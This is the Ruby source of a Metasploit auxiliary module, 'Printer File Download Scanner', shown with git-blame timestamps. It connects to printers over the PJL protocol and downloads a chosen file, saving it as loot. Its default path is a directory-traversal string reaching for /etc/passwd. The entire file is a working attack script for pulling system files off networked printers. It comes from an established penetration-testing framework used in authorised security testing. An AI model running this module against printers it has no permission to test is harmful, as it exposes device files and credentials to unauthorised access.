2013-12-05 03:46:45 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require "msf/core"
|
|
|
|
require "rex/proto/pjl"
|
|
|
|
|
|
|
|
class Metasploit4 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
2013-12-05 16:25:04 +00:00
|
|
|
include Msf::Auxiliary::Scanner
|
2014-01-15 19:49:37 +00:00
|
|
|
include Msf::Auxiliary::Report
|
2013-12-05 03:46:45 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-01-15 19:49:37 +00:00
|
|
|
"Name" => "Printer File Download Scanner",
|
|
|
|
"Description" => %q{
|
2014-01-21 19:29:08 +00:00
|
|
|
This module downloads a file from a set of printers using the
|
2014-01-21 21:57:59 +00:00
|
|
|
Printer Job Language (PJL) protocol.
|
2013-12-05 03:46:45 +00:00
|
|
|
},
|
2014-01-15 19:49:37 +00:00
|
|
|
"Author" => [
|
2014-01-25 23:36:08 +00:00
|
|
|
"wvu", # Rex::Proto::PJL and modules
|
2014-01-15 19:49:37 +00:00
|
|
|
"sinn3r", # RSpec tests
|
2014-01-25 23:36:08 +00:00
|
|
|
"MC", # Independent mixin and modules
|
|
|
|
"Myo Soe", # Independent modules
|
2014-01-27 14:40:44 +00:00
|
|
|
"Matteo Cantoni <goony[at]nothink.org>" # Independent modules
|
2013-12-05 06:28:53 +00:00
|
|
|
],
|
2014-01-15 19:49:37 +00:00
|
|
|
"References" => [
|
2013-12-05 03:46:45 +00:00
|
|
|
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
|
|
|
|
],
|
2014-01-15 19:49:37 +00:00
|
|
|
"License" => MSF_LICENSE
|
2013-12-05 03:46:45 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
2014-01-15 19:49:37 +00:00
|
|
|
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
|
2013-12-05 16:56:28 +00:00
|
|
|
OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..\etc\passwd'])
|
2013-12-05 03:46:45 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
2014-01-15 19:49:37 +00:00
|
|
|
pathname = datastore["PATHNAME"]
|
|
|
|
|
2013-12-05 03:46:45 +00:00
|
|
|
connect
|
|
|
|
pjl = Rex::Proto::PJL::Client.new(sock)
|
2013-12-16 17:38:52 +00:00
|
|
|
pjl.begin_job
|
2014-01-15 19:49:37 +00:00
|
|
|
|
2013-12-05 16:56:28 +00:00
|
|
|
pjl.fsinit(pathname[0..1])
|
|
|
|
file = pjl.fsupload(pathname)
|
2014-01-15 19:49:37 +00:00
|
|
|
|
2013-12-16 17:38:52 +00:00
|
|
|
pjl.end_job
|
2013-12-05 03:46:45 +00:00
|
|
|
disconnect
|
|
|
|
|
2013-12-05 16:56:28 +00:00
|
|
|
if file
|
2014-01-21 19:29:08 +00:00
|
|
|
res = store_loot(
|
2013-12-05 16:56:28 +00:00
|
|
|
"printer.file",
|
|
|
|
"application/octet-stream",
|
|
|
|
ip,
|
|
|
|
file,
|
|
|
|
pathname,
|
|
|
|
"Printer file"
|
|
|
|
)
|
2014-01-21 19:29:08 +00:00
|
|
|
print_good("#{ip}:#{rport} - Saved #{pathname} as #{res}")
|
2013-12-05 03:46:45 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|